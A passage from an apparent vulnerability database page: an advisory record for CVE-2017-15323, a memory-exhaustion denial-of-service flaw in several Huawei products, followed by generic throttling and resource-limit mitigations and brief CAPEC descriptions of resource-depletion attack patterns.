"details": "Huawei DP300 V500R002C00, NIP6600 V500R001C00, V500R001C20, V500R001C30, Secospace USG6500 V500R001C00, V500R001C20, V500R001C30, TE60 V100R001C01, V100R001C10, V100R003C00, V500R002C00, V600R006C00, TP3106 V100R001C06, V100R002C00, VP9660 V200R001C02, V200R001C30, V500R002C00, V500R002C10, ViewPoint 8660 V100R008C03, ViewPoint 9030 V100R011C02, V100R011C03, eCNS210_TD V100R004C10, eSpace U1981 V200R003C30 have a DoS vulnerability caused by memory exhaustion in some Huawei products. For lacking of adequate input validation, attackers can craft and send some malformed messages to the target device to exhaust the memory of the device and cause a Denial of Service (DoS).",
"id": "GHSA-jx9p-pjg4-8cmj",
"modified": "2022-05-14T03:35:06Z",
"published": "2022-05-14T03:35:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-15323"
},
{
"type": "WEB",
"url": "http://www.huawei.com/en/psirt/security-advisories/huawei-sa-20171201-01-pse-en"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, or
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation
Ensure that all failures in resource allocation place the system into a safe posture.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-227: Sustained Client Engagement
An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.